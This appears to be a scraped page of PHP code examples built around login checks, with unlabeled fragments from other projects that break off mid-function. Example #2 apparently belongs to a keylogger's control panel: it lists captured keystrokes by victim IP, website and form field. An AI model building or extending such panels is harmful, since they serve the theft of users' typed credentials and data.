Exemple #1
0
<?php

require_once 'includes/functions.php';
$login = new Login();
$template = new Template();
if ($login->loggedIn()) {
    redirect("index");
    die;
}
if ($_POST) {
    $user = $_POST["username"];
    $pass = $_POST["password"];
    if ($login->loginUser($user, $pass)) {
        //good login- redirect
        redirect("index", 3);
        $template->showMessage("You have been logged in and will be redirected to index.", "Logged In");
    } else {
        $template->badLogin();
        //bad login, redirect to login page
        redirect("login", 3);
        $template->showMessage("We have failed to log you in with provided username and password, you will be redirected to login page again.", "Error");
    }
}
$template->showLogin();
Exemple #2
0
<?php

require_once 'includes/functions.php';
$login = new Login();
$template = new Template();
if (!$login->loggedIn()) {
    $template->showLogin();
}
$sid = $_GET["id"];
$db->bind("keylog_id", $sid);
$keylogData = $db->query("SELECT cl.client_id, cl.ip, kl.client_id, kl.keylog_id, kl.page_load, kl.website, kl.field_name, kl.keylog_data, kl.time FROM clients AS cl JOIN keylogger AS kl ON cl.client_id = kl.client_id WHERE kl.keylog_id = :keylog_id ORDER BY kl.time ASC ");
$data["data"] = $keylogData;
$data["info"] = array("website" => $keylogData[0]["website"], "ip" => $keylogData[0]["ip"]);
$template->showHeader("Keylogger Data");
$template->showKeylog($data);
$template->showFooter();
 private function test_access_rule_authentication($rule, $identity, $entityId)
 {
     $tag = "Guardian: test_access_rule_authentication()";
     Log::debug("{$tag}");
     $domain = (string) $rule;
     Log::debug("{$tag}: Rule requires authentication to domain '{$domain}'");
     if (Login::loggedIn($domain)) {
         Log::debug("{$tag}: PASS");
         return true;
     } else {
         Log::debug("{$tag}: FAIL");
         return false;
     }
 }
 public static function requireLogin($domain = "unnamed", $loginLocation = "/login.php")
 {
     $tag = "Login::requireLogin()";
     Log::notice("{$tag}: <{$domain}>");
     //Log::debug("PHP_SELF=" . $_SERVER["PHP_SELF"]);
     if (Login::loggedIn($domain)) {
         Login::touch($domain);
         return true;
     } else {
         Log::notice("Redirecting to: {$loginLocation}\n");
         header("location: {$loginLocation}");
         exit;
     }
 }
} else {
    if ($action == "init") {
        /*
        // Login session should have just been started by conduit
        */
        // Retrieve request parameters
        $domain = @$_GET["domain"];
        $destination = @$_GET["destination"];
        // Init Defaults
        if (empty($destination)) {
            $destination = "/";
        }
        // Debug
        Log::debug("* domain = {$domain}");
        Log::debug("* destination = {$destination}");
        if (Login::loggedIn($domain)) {
            // Retrieve 'login' from users Login Session
            $login = Login::who($domain);
            // Retrieve member data
            $memberBP = BlueprintReader::read("Member.entity.xml");
            $memberDAO = new EntityDAO($memberBP);
            $matches = $memberDAO->findWhere("login", $login);
            if (count($matches) > 0) {
                $member = $matches[0];
                // Add data to the users session
                Session::user("member_id", $member->getId());
                // Required by Guardian
                // Forward user
                Log::debug("* REDIRECTING TO: {$destination}\n");
                header("location: {$destination}");
                exit;